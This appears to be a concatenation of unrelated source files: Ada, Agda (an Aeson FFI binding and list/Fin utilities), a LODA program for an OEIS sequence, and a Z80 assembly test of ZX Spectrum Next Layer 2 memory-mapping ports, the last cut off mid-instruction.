for I in 1 .. Count_Val loop Alpha_Val := 0; Str_Len := Index (Names_List (I), " ") - 1; for J in 1 .. Str_Len loop Alpha_Val := Alpha_Val + Character'Pos (Names_List (I) (J)) - 64; end loop; N := N + Long_Integer (I * Alpha_Val); end loop; Put (N, Width => 0); end A022;
test/LaTeXAndHTML/succeed/HighlightOccurrences.agda
cruhland/agda
1,989
13058
<reponame>cruhland/agda data Nat : Set where nohana : Nat kibou : Nat -> Nat one = kibou nohana two = kibou one
prototyping/FFI/Data/Aeson.agda
TheGreatSageEqualToHeaven/luau
1
8956
{-# OPTIONS --rewriting #-} module FFI.Data.Aeson where open import Agda.Builtin.Equality using (_≡_) open import Agda.Builtin.Equality.Rewrite using () open import Agda.Builtin.Bool using (Bool) open import Agda.Builtin.String using (String) open import FFI.Data.ByteString using (ByteString) open import FFI.Data.HaskellString using (HaskellString; pack) open import FFI.Data.Maybe using (Maybe; just; nothing) open import FFI.Data.Either using (Either; mapL) open import FFI.Data.Scientific using (Scientific) open import FFI.Data.Vector using (Vector) open import Properties.Equality using (_≢_) {-# FOREIGN GHC import qualified Data.Aeson #-} {-# FOREIGN GHC import qualified Data.Aeson.Key #-} {-# FOREIGN GHC import qualified Data.Aeson.KeyMap #-} postulate KeyMap : Set → Set Key : Set fromString : String → Key toString : Key → String empty : ∀ {A} → KeyMap A singleton : ∀ {A} → Key → A → (KeyMap A) insert : ∀ {A} → Key → A → (KeyMap A) → (KeyMap A) delete : ∀ {A} → Key → (KeyMap A) → (KeyMap A) unionWith : ∀ {A} → (A → A → A) → (KeyMap A) → (KeyMap A) → (KeyMap A) lookup : ∀ {A} → Key -> KeyMap A -> Maybe A {-# POLARITY KeyMap ++ #-} {-# COMPILE GHC KeyMap = type Data.Aeson.KeyMap.KeyMap #-} {-# COMPILE GHC Key = type Data.Aeson.Key.Key #-} {-# COMPILE GHC fromString = Data.Aeson.Key.fromText #-} {-# COMPILE GHC toString = Data.Aeson.Key.toText #-} {-# COMPILE GHC empty = \_ -> Data.Aeson.KeyMap.empty #-} {-# COMPILE GHC singleton = \_ -> Data.Aeson.KeyMap.singleton #-} {-# COMPILE GHC insert = \_ -> Data.Aeson.KeyMap.insert #-} {-# COMPILE GHC delete = \_ -> Data.Aeson.KeyMap.delete #-} {-# COMPILE GHC unionWith = \_ -> Data.Aeson.KeyMap.unionWith #-} {-# COMPILE GHC lookup = \_ -> Data.Aeson.KeyMap.lookup #-} postulate lookup-insert : ∀ {A} k v (m : KeyMap A) → (lookup k (insert k v m) ≡ just v) postulate lookup-empty : ∀ {A} k → (lookup {A} k empty ≡ nothing) postulate lookup-insert-not : ∀ {A} j k v (m : KeyMap A) → (j ≢ k) → (lookup k m ≡ lookup k (insert j v m)) postulate singleton-insert-empty : ∀ {A} k (v : A) → (singleton k v ≡ insert k v empty) postulate insert-swap : ∀ {A} j k (v w : A) m → (j ≢ k) → insert j v (insert k w m) ≡ insert k w (insert j v m) postulate insert-over : ∀ {A} j k (v w : A) m → (j ≡ k) → insert j v (insert k w m) ≡ insert j v m postulate to-from : ∀ k → toString(fromString k) ≡ k postulate from-to : ∀ k → fromString(toString k) ≡ k {-# REWRITE lookup-insert lookup-empty singleton-insert-empty #-} data Value : Set where object : KeyMap Value → Value array : Vector Value → Value string : String → Value number : Scientific → Value bool : Bool → Value null : Value {-# COMPILE GHC Value = data Data.Aeson.Value (Data.Aeson.Object|Data.Aeson.Array|Data.Aeson.String|Data.Aeson.Number|Data.Aeson.Bool|Data.Aeson.Null) #-} Object = KeyMap Value Array = Vector Value postulate decode : ByteString → Maybe Value eitherHDecode : ByteString → Either HaskellString Value {-# COMPILE GHC decode = Data.Aeson.decodeStrict #-} {-# COMPILE GHC eitherHDecode = Data.Aeson.eitherDecodeStrict #-} eitherDecode : ByteString → Either String Value eitherDecode bytes = mapL pack (eitherHDecode bytes)
programs/oeis/168/A168198.asm
karttu/loda
0
96543
; A168198: a(n) = 3*n - a(n-1) + 1 with n > 1, a(1)=1. ; 1,6,4,9,7,12,10,15,13,18,16,21,19,24,22,27,25,30,28,33,31,36,34,39,37,42,40,45,43,48,46,51,49,54,52,57,55,60,58,63,61,66,64,69,67,72,70,75,73,78,76,81,79,84,82,87,85,90,88,93,91,96,94,99,97,102,100,105,103,108,106,111,109,114,112,117,115,120,118,123,121,126,124,129,127,132,130,135,133,138,136,141,139,144,142,147,145,150,148,153,151,156,154,159,157,162,160,165,163,168,166,171,169,174,172,177,175,180,178,183,181,186,184,189,187,192,190,195,193,198,196,201,199,204,202,207,205,210,208,213,211,216,214,219,217,222,220,225,223,228,226,231,229,234,232,237,235,240,238,243,241,246,244,249,247,252,250,255,253,258,256,261,259,264,262,267,265,270,268,273,271,276,274,279,277,282,280,285,283,288,286,291,289,294,292,297,295,300,298,303,301,306,304,309,307,312,310,315,313,318,316,321,319,324,322,327,325,330,328,333,331,336,334,339,337,342,340,345,343,348,346,351,349,354,352,357,355,360,358,363,361,366,364,369,367,372,370,375,373,378 mov $1,32 add $1,$0 div $0,2 mul $0,7 mul $1,5 sub $1,$0 sub $1,159
agda/Util.agda
halfaya/MusicTools
28
14032
<gh_stars>10-100 {-# OPTIONS --erased-cubical --safe #-} module Util where open import Cubical.Core.Everything using (_≡_; Level; Type; Σ; _,_; fst; snd; _≃_; ~_) open import Cubical.Foundations.Prelude using (refl; sym; _∙_; cong; transport; subst; funExt; transp; I; i0; i1) --open import Cubical.Foundations.Function using (_∘_) open import Cubical.Foundations.Univalence using (ua) open import Cubical.Foundations.Isomorphism using (iso; Iso; isoToPath; section; retract; isoToEquiv) open import Agda.Primitive using (Level) open import Data.Fin using (Fin; #_; toℕ; inject; fromℕ; fromℕ<; inject₁) renaming (zero to fz; suc to fsuc) open import Data.Bool using (Bool; true; false; if_then_else_) open import Data.Integer using (ℤ; +_; -[1+_]; _-_; ∣_∣; -_) open import Data.List using (List; concat; replicate; []; _∷_; _∷ʳ_; map; _++_; reverse) open import Data.Maybe using (Maybe; just; nothing) open import Data.Nat using (ℕ; zero; suc; _+_; _*_; _<ᵇ_; _≤ᵇ_; _≡ᵇ_; _<?_; _≟_; _∸_; _<_; s≤s; z≤n; _⊓_) open import Data.Nat.DivMod using (_mod_) open import Data.Nat.Properties using (≤-step; ≤-trans; ≤-refl) open import Data.Product using (_×_; _,_) open import Data.Vec using (Vec; _∷_; []; zip; last) renaming (concat to cat; replicate to rep; map to vmap; _∷ʳ_ to _v∷ʳ_) open import Relation.Nullary using (yes; no; ¬_) open import Relation.Nullary.Decidable using (False) open import Relation.Unary using (Pred; Decidable) infixr 9 _∘_ _∘_ : {ℓ : Level}{A : Type ℓ}{B : A → Type ℓ}{C : (a : A) → B a → Type ℓ} (g : {a : A} → (b : B a) → C a b) → (f : (a : A) → B a) → (a : A) → C a (f a) g ∘ f = λ x → g (f x) {-# INLINE _∘_ #-} repeat : {ℓ : Level} {A : Type ℓ} → (n : ℕ) → List A → List A repeat n = concat ∘ replicate n repeatV : {ℓ : Level} {A : Type ℓ} {k : ℕ} → (n : ℕ) → Vec A k → Vec A (n * k) repeatV n = cat ∘ rep {n = n} -- return index of first element that satisfies predicate or last element if none do findIndex : {a ℓ : Level} {A : Type a} {n : ℕ} {P : Pred A ℓ} → Decidable P → Vec A (suc n) → Fin (suc n) findIndex _ (x ∷ []) = # 0 findIndex P (x ∷ y ∷ ys) with P x ... | yes _ = # 0 ... | no _ = fsuc (findIndex P (y ∷ ys)) -- Returns a list of all adjacent pairs in the original list. pairs : {ℓ : Level} {A : Type ℓ} → List A → List (A × A) pairs [] = [] pairs (x ∷ []) = [] pairs (x ∷ y ∷ xs) = (x , y) ∷ pairs (y ∷ xs) -- Returns a list of all pairs in the original list. allPairs : {ℓ : Level} {A : Type ℓ} → List A → List (A × A) allPairs [] = [] allPairs (x ∷ xs) = map (x ,_) xs ++ allPairs xs -- Returns a singleton list of the pair of the first and last element if the list has at least 2 elements, -- or the empty list otherwise. firstLast : {ℓ : Level} {A : Type ℓ} → List A → List (A × A) firstLast [] = [] firstLast (x ∷ xs) with reverse xs ... | [] = [] ... | y ∷ ys = (x , y) ∷ [] -- Returns a list of all adjacent pairs in the original list, prepended by the pair of the first and last elements. ◯pairs : {ℓ : Level} {A : Type ℓ} → List A → List (A × A) ◯pairs xs = firstLast xs ++ pairs xs -- Returns a list of the first element paired with all later elements, in order. firstPairs : {ℓ : Level} {A : Type ℓ} → List A → List (A × A) firstPairs [] = [] firstPairs (x ∷ xs) = map (x ,_) xs -- Basic Boolean Filter and Elem filter : {ℓ : Level} {A : Type ℓ} → (A → Bool) → List A → List A filter f [] = [] filter f (x ∷ xs) = if f x then x ∷ filter f xs else filter f xs infix 4 _∈_via_ _∈_via_ : {ℓ : Level} {A : Type ℓ} → A → List A → (A → A → Bool) → Bool x ∈ [] via f = false x ∈ y ∷ ys via f = if f x y then true else x ∈ ys via f concatMaybe : {ℓ : Level} {A : Type ℓ} → List (Maybe A) → List A concatMaybe [] = [] concatMaybe (nothing ∷ xs) = concatMaybe xs concatMaybe (just x ∷ xs) = x ∷ concatMaybe xs listMin : {ℓ : Level} {A : Type ℓ} → (A → ℕ) → List A → Maybe A listMin f [] = nothing listMin f (x ∷ xs) with listMin f xs ... | nothing = just x ... | just y = if f x <ᵇ f y then just x else just y fins : (k : ℕ) → Vec (Fin k) k fins zero = [] fins (suc k) = fz ∷ vmap fsuc (fins k) fins' : (n : ℕ) → (k : Fin n) → Vec (Fin n) (toℕ k) fins' n k = vmap inject (fins (toℕ k)) finSuc : {n : ℕ} → Fin (suc n) → Fin (suc n) finSuc {n} m with suc (toℕ m) <? suc n ... | yes x = fromℕ< x ... | no _ = fz _+N_ : {n : ℕ} → Fin (suc n) → ℕ → Fin (suc n) a +N zero = a a +N suc b = finSuc a +N b ∣-∣helper : (n : ℕ) → ℕ → ℕ → ℕ ∣-∣helper n a b with a ≤ᵇ b ... | true = (b ∸ a) ⊓ ((n + a) ∸ b) ... | false = (a ∸ b) ⊓ ((n + b) ∸ a) ⟨_⟩∣_-_∣ : (n : ℕ) → Fin n → Fin n → ℕ ⟨_⟩∣_-_∣ n a b = ∣-∣helper n (toℕ a) (toℕ b) n∸k<n : (n k : ℕ) → (suc n) ∸ (suc k) < suc n n∸k<n zero zero = s≤s z≤n n∸k<n (suc n) zero = s≤s (n∸k<n n zero) n∸k<n zero (suc k) = s≤s z≤n n∸k<n (suc n) (suc k) = ≤-trans (n∸k<n n k) (≤-step ≤-refl) opposite' : ∀ {n} → Fin n → Fin n opposite' {suc n} fz = fz opposite' {suc n} (fsuc k) = fromℕ< (n∸k<n n (toℕ k)) -- opposite "i" = "n - i" (i.e. the additive inverse). opposite : ∀ {n} → Fin n → Fin n opposite {suc n} fz = fz opposite {suc n} (fsuc fz) = fromℕ n opposite {suc n} (fsuc (fsuc i)) = inject₁ (opposite (fsuc i)) _modℕ_ : (dividend : ℤ) (divisor : ℕ) {≢0 : False (divisor ≟ 0)} → Fin divisor ((+ n) modℕ d) {d≠0} = (n mod d) {d≠0} (-[1+ n ] modℕ d) {d≠0} = opposite ((suc n mod d) {d≠0}) zipWithIndex : {ℓ : Level} {A : Type ℓ} {k : ℕ} → Vec A k → Vec (Fin k × A) k zipWithIndex {k = k} = zip (fins k) iter : {ℓ : Level} {A : Type ℓ} → (A → A) → ℕ → A → List A iter f zero x = x ∷ [] iter f (suc n) x = x ∷ iter f n (f x) rotateLeft : {ℓ : Level} {A : Type ℓ} → List A → List A rotateLeft [] = [] rotateLeft (x ∷ xs) = xs ∷ʳ x rotateRight : {ℓ : Level} {A : Type ℓ} → List A → List A rotateRight = reverse ∘ rotateLeft ∘ reverse vrotateLeft : {ℓ : Level} {A : Type ℓ} {k : ℕ} → Vec A k → Vec A k vrotateLeft {k = zero} [] = [] vrotateLeft {k = suc k} (x ∷ xs) = xs v∷ʳ x vrotateRight : {ℓ : Level} {A : Type ℓ} {k : ℕ} → Vec A k → Vec A k vrotateRight {k = zero} [] = [] vrotateRight {k = suc k} xs@(_ ∷ ys) = last xs ∷ ys
Tests/Graphics/Layer2Port/Main.asm
MrKWatkins/ZXSpectrumNextTests
23
13027
<reponame>MrKWatkins/ZXSpectrumNextTests device zxspectrum48 org $C000 ; must be in last 16k as I'm using all-RAM mapping for Layer2 ds 32, $55 ; reserved space for stack stack: dw $AAAA INCLUDE "../../Constants.asm" INCLUDE "../../Macros.asm" INCLUDE "../../TestFunctions.asm" INCLUDE "../../OutputFunctions.asm" LegendNr12: db ' Visible Layer 2 (NextReg 0x12)', 0 LegendNr13: db ' Shadow Layer 2 (NextReg 0x13)', 0 LegendTests: db ' *** write-over-ROM 16kiB',0 db ' *** write-over-ROM 48kiB',0 db ' *** read-over-ROM 16kiB (data)',0 db ' *** read-over-ROM 48kiB (data)',0 db ' * read-over-ROM (code)',0 db ' * read-over-ROM (IM1 in L2)',0 LegendBankOffset: db ' Bank offset (b4=1 I/O 0x123B)', 0 db '[ ] r+w-over-ROM 16ki 0x12',0 db '[ ] r+w-over-ROM 48ki 0x12',0 db 0 db '[ ] r+w-over-ROM 16ki 0x13',0 db '[ ] r+w-over-ROM 48ki 0x13',0 .lines equ 6 Start: ld sp,stack NEXTREG_nn TURBO_CONTROL_NR_07,3 ; 28MHz call StartTest ld de,MEM_ZX_SCREEN_4000+32*8*16+7*32+5 ; bottom right corner ld bc,MEM_ZX_SCREEN_4000+32*8*16+7*32+19 call OutMachineIdAndCore_defLabels ;; preparing ULA screen for output BORDER CYAN call OutputLegend ;; preparing initial state of machine before tests BORDER BLUE ; setup transparency features - make pink transparent and visible as fallback NEXTREG_nn GLOBAL_TRANSPARENCY_NR_14, $E3 NEXTREG_nn TRANSPARENCY_FALLBACK_COL_NR_4A, $E3 ; reset Layer2 scroll registers and set up clip window (to hide code/test values) NEXTREG_nn LAYER2_XOFFSET_NR_16, 0 NEXTREG_nn LAYER2_YOFFSET_NR_17, 0 NEXTREG_nn CLIP_WINDOW_CONTROL_NR_1C,$01 ; reset index in L2 clip NEXTREG_nn CLIP_LAYER2_NR_18,7 ; [7,1] -> [55,176] is enough for results NEXTREG_nn CLIP_LAYER2_NR_18,55 NEXTREG_nn CLIP_LAYER2_NR_18,1 NEXTREG_nn CLIP_LAYER2_NR_18,176 ; init banks + make layer 2 visible NEXTREG_nn LAYER2_RAM_BANK_NR_12,9 NEXTREG_nn LAYER2_RAM_SHADOW_BANK_NR_13,12 ld bc,LAYER2_ACCESS_P_123B ld a,LAYER2_ACCESS_L2_ENABLED out (c),a ; banks 9, 10, 11 => visible Layer 2 (fill with 0xE3 = transparent) ; banks 12, 13, 14 => shadow layer 2 (fill with 0xE0 = red) call FillLayer2Banks ; banks 15, 16, 17 => fill as 8kiB pages with 0x11, 0x12, .., 0x16 ld a,15*2 ld hl,$E000 ld bc,$0611 .MarkRamLoop: NEXTREG_A MMU7_E000_NR_57 inc a ld (hl),c inc c djnz .MarkRamLoop ; map banks 15, 16, 17 to whole region $0000..$BFFF with MMU NEXTREG_nn MMU0_0000_NR_50,15*2 NEXTREG_nn MMU1_2000_NR_51,15*2+1 NEXTREG_nn MMU2_4000_NR_52,15*2+2 NEXTREG_nn MMU3_6000_NR_53,15*2+3 NEXTREG_nn MMU4_8000_NR_54,15*2+4 NEXTREG_nn MMU5_A000_NR_55,15*2+5 ;; running tests one by one BORDER YELLOW ld e,$F0 ; all tests OK so far (top four bits must stay set to 1, zero bit = some error) call TestWriteOverRom call TestReadOverRom call TestReadOverRomCode call TestReadOverRomIm1 ;;; read+write together? call TestBankOffsetRead ; reset the L2 port settings ld bc,LAYER2_ACCESS_P_123B ld a,LAYER2_ACCESS_BANK_OFFSET|0 out (c),a ld a,LAYER2_ACCESS_L2_ENABLED|LAYER2_ACCESS_SHADOW_OVER_ROM out (c),a ; but set "shadow" mode to exercise emulators more ;; test done - do total border RED/GREEN depending on some error detected ld a,e cp $F0 ld a,GREEN jr z,.AllTestsOk ld a,RED .AllTestsOk: out (254),a jp EndTest ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;test write-over-rom MACRO Test8kiPage address?, writeVal?, readVal? ld hl,address? ld (hl),writeVal? rlc d ld a,(hl) cp readVal? jr nz,800F set 4,d ; set "1" to bit in D when OK (read) 800: ENDM MACRO VerifyWrite page?, value? NEXTREG_nn MMU7_E000_NR_57,page? rlc d ld a,($E000) cp value? jr nz,801F set 4,d 801: ENDM MACRO Test16kiBank bankSelect?, bankNumber?, wAdr?, wVal1?, wVal2?, rVal1?, rVal2?, resultAdr?, resultBank? ; map bank for write ld bc,LAYER2_ACCESS_P_123B ld a,LAYER2_ACCESS_L2_ENABLED|bankSelect? out (c),a ;write first byte of each 8kiB page ($F9.. values) ;read address + verify [$11..] (write didn't affect regular RAM) ld d,0 ; clear result (all bad) Test8kiPage wAdr?+$0000, wVal1?, rVal1? Test8kiPage wAdr?+$2000, wVal2?, rVal2? ; map the Layer2 memory with regular MMU to $E000 and verify written values VerifyWrite bankNumber?*2, wVal1? VerifyWrite bankNumber?*2+1, wVal2? ; cumulative result ld a,resultBank? ld hl,resultAdr? call CumulateErrorAndDisplay ENDM TestWriteOverRom: ; normal Layer 2 (NextReg $12) .m1 EQU LAYER2_ACCESS_WRITE_OVER_ROM Test16kiBank .m1|LAYER2_ACCESS_OVER_ROM_BANK_0, 9, $0000, $F9, $FA, $11, $12, $E808, 9*2 Test16kiBank .m1|LAYER2_ACCESS_OVER_ROM_BANK_1, 10, $0000, $FB, $FC, $11, $12, $E810, 9*2 Test16kiBank .m1|LAYER2_ACCESS_OVER_ROM_BANK_2, 11, $0000, $FD, $FE, $11, $12, $E818, 9*2 Test16kiBank .m1|LAYER2_ACCESS_OVER_ROM_48K, 9, $0000, $E9, $EA, $11, $12, $F00B, 9*2 Test16kiBank .m1|LAYER2_ACCESS_OVER_ROM_48K, 10, $4000, $EB, $EC, $13, $14, $F013, 9*2 Test16kiBank .m1|LAYER2_ACCESS_OVER_ROM_48K, 11, $8000, $ED, $EE, $15, $16, $F01B, 9*2 ; shadow Layer 2 (NextReg $13) .m2 EQU LAYER2_ACCESS_WRITE_OVER_ROM|LAYER2_ACCESS_SHADOW_OVER_ROM Test16kiBank .m2|LAYER2_ACCESS_OVER_ROM_BANK_0, 12, $0000, $D9, $DA, $11, $12, $E808, 10*2 Test16kiBank .m2|LAYER2_ACCESS_OVER_ROM_BANK_1, 13, $0000, $DB, $DC, $11, $12, $E810, 10*2 Test16kiBank .m2|LAYER2_ACCESS_OVER_ROM_BANK_2, 14, $0000, $DD, $DE, $11, $12, $E818, 10*2 Test16kiBank .m2|LAYER2_ACCESS_OVER_ROM_48K, 12, $0000, $C9, $CA, $11, $12, $F00B, 10*2 Test16kiBank .m2|LAYER2_ACCESS_OVER_ROM_48K, 13, $4000, $CB, $CC, $13, $14, $F013, 10*2 Test16kiBank .m2|LAYER2_ACCESS_OVER_ROM_48K, 14, $8000, $CD, $CE, $15, $16, $F01B, 10*2 ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; test read-over-rom TestReadOverRom: ; the same Test16kiBank macro can be used also to test "read-over" ; testing if write goes through into mapped RAM, and if read is overshadowed by Layer2 ; normal Layer 2 (NextReg $12) .m1 EQU LAYER2_ACCESS_READ_OVER_ROM Test16kiBank .m1|LAYER2_ACCESS_OVER_ROM_BANK_0, 15, $0000, $19, $1A, $E9, $EA, $F808, 9*2 Test16kiBank .m1|LAYER2_ACCESS_OVER_ROM_BANK_1, 15, $0000, $1B, $1C, $EB, $EC, $F810, 9*2 Test16kiBank .m1|LAYER2_ACCESS_OVER_ROM_BANK_2, 15, $0000, $1D, $1E, $ED, $EE, $F818, 9*2 Test16kiBank .m1|LAYER2_ACCESS_OVER_ROM_48K, 15, $0000, $19, $1A, $E9, $EA, $E00B, 9*2+1 Test16kiBank .m1|LAYER2_ACCESS_OVER_ROM_48K, 16, $4000, $1B, $1C, $EB, $EC, $E013, 9*2+1 Test16kiBank .m1|LAYER2_ACCESS_OVER_ROM_48K, 17, $8000, $1D, $1E, $ED, $EE, $E01B, 9*2+1 ; shadow Layer 2 (NextReg $13) .m2 EQU LAYER2_ACCESS_READ_OVER_ROM|LAYER2_ACCESS_SHADOW_OVER_ROM Test16kiBank .m2|LAYER2_ACCESS_OVER_ROM_BANK_0, 15, $0000, $29, $2A, $C9, $CA, $F808, 10*2 Test16kiBank .m2|LAYER2_ACCESS_OVER_ROM_BANK_1, 15, $0000, $2B, $2C, $CB, $CC, $F810, 10*2 Test16kiBank .m2|LAYER2_ACCESS_OVER_ROM_BANK_2, 15, $0000, $2D, $2E, $CD, $CE, $F818, 10*2 Test16kiBank .m2|LAYER2_ACCESS_OVER_ROM_48K, 15, $0000, $29, $2A, $C9, $CA, $E00B, 10*2+1 Test16kiBank .m2|LAYER2_ACCESS_OVER_ROM_48K, 16, $4000, $2B, $2C, $CB, $CC, $E013, 10*2+1 Test16kiBank .m2|LAYER2_ACCESS_OVER_ROM_48K, 17, $8000, $2D, $2E, $CD, $CE, $E01B, 10*2+1 ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; test read-over-rom for CPU executing code MACRO TestCodeInLayer L2bank?, bank_access?, resultAdr?, resultBank? ld d,$00 ; clear result (all bad) ; switch off all the Layer 2 settings (just keep display) ld bc,LAYER2_ACCESS_P_123B ld a,LAYER2_ACCESS_L2_ENABLED out (c),a ; code test - set up the test code in the first layer 2 bank (targetting ROM $007D) NEXTREG_nn MMU7_E000_NR_57,L2bank? push de ld hl,RomShadowTestCodeSource ld de,$E000+$7D ld bc,RomShadowTestCodeSourceLength ldir pop de ; verify there is ROM mapped as expected (`cp $21 : ret nc`) NEXTREG_nn MMU0_0000_NR_50,$FF ; map ROM back NEXTREG_nn MMU1_2000_NR_51,$FF ld hl,RomExpectedCodeSourceEnd-1 ; pointer into expected values ld bc,$007D+RomShadowTestCodeSourceLength-1 ; pointer into ROM REPT 3 ; test three bytes of ROM code: 3x ld a,(bc) cpd ; HL--, BC-- jr nz,.UnexpectedRomContent ENDR ; call the ROM code ld a,'!' call $7D ; CF=0 ROM, CF=1 L2 jr c,.NotRomResult set 7,d .NotRomResult: ; set read-over-rom ld bc,LAYER2_ACCESS_P_123B ld a,LAYER2_ACCESS_L2_ENABLED|LAYER2_ACCESS_READ_OVER_ROM|bank_access? out (c),a ; call the Layer 2 code ld a,'!' call $7D ; CF=0 ROM, CF=1 L2 jr nc,.NotReadL2Result set 6,d .NotReadL2Result: ; set write-over-rom ld bc,LAYER2_ACCESS_P_123B ld a,LAYER2_ACCESS_L2_ENABLED|LAYER2_ACCESS_WRITE_OVER_ROM|bank_access? out (c),a ; call the ROM code ld a,'!' call $7D ; CF=0 ROM, CF=1 L2 jr c,.NotRomResult2 set 5,d .NotRomResult2: ; set read+write-over-rom ld bc,LAYER2_ACCESS_P_123B ld a,LAYER2_ACCESS_L2_ENABLED|LAYER2_ACCESS_READ_OVER_ROM|LAYER2_ACCESS_WRITE_OVER_ROM|bank_access? out (c),a ; call the Layer 2 code ld a,'!' call $7D ; CF=0 ROM, CF=1 L2 jr nc,.NotReadL2Result2 set 4,d .NotReadL2Result2: .UnexpectedRomContent: ld a,resultBank? ld hl,resultAdr? call CumulateErrorAndDisplay ENDM TestReadOverRomCode: TestCodeInLayer 9*2, LAYER2_ACCESS_OVER_ROM_BANK_0, $E818, 9*2+1 TestCodeInLayer 12*2, LAYER2_ACCESS_SHADOW_OVER_ROM|LAYER2_ACCESS_OVER_ROM_BANK_0, $E818, 10*2+1 ret RomShadowTestCodeSource: cp $FF ret RomShadowTestCodeSourceLength EQU $ - RomShadowTestCodeSource RomExpectedCodeSource: ; ROM code which is expected (ZX48 ROM) cp $21 ret nc RomExpectedCodeSourceEnd: ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; test read-over-rom for CPU executing IM1 code TestReadOverRomIm1: ; set up the IM1 handler in the third layer2's bank (targetting ROM $0038) push de ; normal Layer 2 NEXTREG_nn MMU7_E000_NR_57,11*2 ld de,$E000+$38 ld hl,RomShadowTestIm1Source ld bc,RomShadowTestIm1SourceLength ldir ; shadow Layer 2 NEXTREG_nn MMU7_E000_NR_57,14*2 ld de,$E000+$38 ld hl,RomShadowTestIm1Source ld bc,RomShadowTestIm1SourceLength ldir pop de ; normal Layer 2 - TEST is here ld d,$00 ; clear result (all bad) ; set read-over-ROM ld bc,LAYER2_ACCESS_P_123B ld a,LAYER2_ACCESS_L2_ENABLED|LAYER2_ACCESS_READ_OVER_ROM|LAYER2_ACCESS_OVER_ROM_BANK_2 out (c),a ; EI + 4x HALT + DI ei .4 halt ; each IM1 should set one bit in D di ; print result ld a,9*2+1 ld hl,$F01B call CumulateErrorAndDisplay ; shadow Layer 2 - TEST is here ld d,$00 ; clear result (all bad) ; make normal layer 2 handler to fail NEXTREG_nn MMU7_E000_NR_57,11*2 xor a ld ($E03A),a ; `nop` instead of set 4,d ld ($E03B),a ; set read-over-ROM ld bc,LAYER2_ACCESS_P_123B ld a,LAYER2_ACCESS_L2_ENABLED|LAYER2_ACCESS_READ_OVER_ROM|LAYER2_ACCESS_SHADOW_OVER_ROM|LAYER2_ACCESS_OVER_ROM_BANK_2 out (c),a ; EI + 4x HALT + DI ei .4 halt ; each IM1 should set one bit in D di ; clear the visible part of Layer2 push de NEXTREG_nn MMU7_E000_NR_57,11*2 ld hl,$E000+$38 ld de,$E000+$38+1 ld bc,RomShadowTestIm1SourceLength ld (hl),$E3 ldir pop de ; print result ld a,10*2+1 ld hl,$F01B jp CumulateErrorAndDisplay RomShadowTestIm1Source: ; this is intentionally modifying the "result" register directly from interrupt code rlc d set 4,d ei ret RomShadowTestIm1SourceLength EQU $ - RomShadowTestIm1Source ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; test new bank-offset of core3.1+ with read-over-rom mapping TestBankOffsetRead: ; set up memory banks for the bank-offset tests again BORDER BLUE ld ix,$F000 ld a,9*2 .setMemoryLoop: ; mark even 8k pages (odd are not tested) NEXTREG_A MMU7_E000_NR_57 cpl ld (ix+1),a cpl ld (ix),a inc a inc a cp (13+9)*2 jr nz,.setMemoryLoop ; revert the memory mapping to default rom:5:2:x NEXTREG_nn MMU0_0000_NR_50,255 NEXTREG_nn MMU1_2000_NR_51,255 NEXTREG_nn MMU2_4000_NR_52,5*2+0 NEXTREG_nn MMU3_6000_NR_53,5*2+1 NEXTREG_nn MMU4_8000_NR_54,2*2+0 NEXTREG_nn MMU5_A000_NR_55,2*2+1 ; run tests BORDER YELLOW ; test visible L2 layer first (both 16ki and 48ki tests in one subroutine) ld iy,(11*2<<8)+9*2 ; test value - visible first bank + result page number ld hl,$E809 ; result output address ld a,LAYER2_ACCESS_OVER_ROM_BANK_0 call Test16kiAnd48kiBankOffsets ; test shadow L2 layer first (both 16ki and 48ki tests in one subroutine) ld iy,((11*2+1)<<8)+12*2 ; test value - shadow first bank + result page ld hl,$E009 ; result output address ld a,LAYER2_ACCESS_OVER_ROM_BANK_0|LAYER2_ACCESS_SHADOW_OVER_ROM ; | ; fallthrough into Test16kiAnd48kiBankOffsets and return from there ; | Test16kiAnd48kiBankOffsets: ; IN: ; IYL = test-value and first page of first bank (8*2 for bank0 offset 0 NR$12=8) ; IYH = 8ki page number for result output (for MMU7_E000 slot) ; HL = result output address, E = global error tracking ; A = visible/shadow value for port $123B (Layer2 port) ; IX = check address in MMU7 slot ($F000 in this test) ; OUT: HL += $0300 (+3 lines below), updated E ; MOD: AF, BC, l2port, IYL or LAYER2_ACCESS_L2_ENABLED|LAYER2_ACCESS_WRITE_OVER_ROM|LAYER2_ACCESS_READ_OVER_ROM push iy ; do the three 16ki tests (base mapping changes, r+w test address is fixed $1000..+1) .loopNextBankType: ; change the layer2 port mapping bank0/1/2 with desired mode ld bc,LAYER2_ACCESS_P_123B out (c),a call TestEightBankOffsets inc iyl ; starting at +1 bank later inc iyl add a,$40 ; next bank offset cp LAYER2_ACCESS_OVER_ROM_48K jr c,.loopNextBankType ; do the three 48ki tests (base mapping fixed, r+w test address: $1000, $5000, $9000) ld bc,LAYER2_ACCESS_P_123B out (c),a ; A = the 48ki mapping constant from last ADD above pop iy ; restore test value - visible first bank .loop48kiBankType: call TestEightBankOffsets inc iyl ; starting at +1 bank later inc iyl ld a,(TestEightBankOffsets.aR+1) add a,$40 ld (TestEightBankOffsets.aR+1),a ld (TestEightBankOffsets.aW+1),a cp $C0 jr c,.loop48kiBankType ; reset test addresses inside TestEightBankOffsets subroutine ld a,$10 ld (TestEightBankOffsets.aR+1),a ld (TestEightBankOffsets.aW+1),a ret TestEightBankOffsets: ; IN: ; IYL = test-value and first page of first bank (8*2 for bank0 offset 0 NR$12=8) ; IYH = 8ki page number for result output (for MMU7_E000 slot) ; HL = result output address, E = global error tracking ; I/O $123B (Layer2 port) = read+write mapping for visible or shadow layer as desired ; IX = check address in MMU7 slot ($F000 in this test) ; OUT: HL += $0300 (+3 lines below), updated E ; MOD: BC push af push hl push iy ld a,LAYER2_ACCESS_BANK_OFFSET|0 .doNextBankOffset: ld bc,LAYER2_ACCESS_P_123B out 